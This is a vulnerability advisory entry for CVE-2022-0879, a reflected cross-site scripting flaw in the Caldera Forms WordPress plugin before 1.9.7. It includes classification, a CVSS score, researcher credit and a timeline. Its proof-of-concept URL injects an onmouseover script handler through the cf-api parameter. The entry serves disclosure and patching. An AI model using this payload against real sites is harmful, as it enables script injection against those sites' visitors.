WordPress Plugin Vulnerabilities

Caldera Forms < 1.9.7 - Reflected Cross-Site Scripting

Description

The plugin does not validate and escape the cf-api parameter before outputting it back in the response, leading to a Reflected Cross-Site Scripting

Proof of Concept

The issue is only exploitable when there are no forms created yet

https://example.com/?cf-api=%22%20style=position:fixed;left:0;top:0;right:0;bottom:0;%20onmouseover=alert(1)%20x

Affects Plugins

Plugin icon
caldera-forms
Fixed in 1.9.7

References

CVE
CVE-2022-0879

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
4.7 (medium)

Miscellaneous

Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
https://kazet.cc/
Verified
Yes
WPVDB ID
c12f6087-1875-4edf-ac32-bec6f712968d

Timeline

Publicly Published
2022-03-28 (about 2 years ago)
Added
2022-03-28 (about 2 years ago)
Last Updated
2022-04-11 (about 2 years ago)

Other

Published
Title
Published
2021-12-02
Title
Post Duplicator < 2.27 - Admin+ Stored Cross-Site Scripting
Published
2021-10-11
Title
WPSchoolPress < 2.1.17 - Multiple Admin+ Stored Cross-Site Scripting
Published
2021-10-14
Title
HAL < 2.2 - Admin+ Stored Cross-Site Scripting
Published
2021-07-20
Title
Multiple Plugins from Smash Balloon - Reflected Cross-Site Scripting
Published
2023-06-23
Title
Balkon < 1.3.3 - Reflected Cross-Site Scripting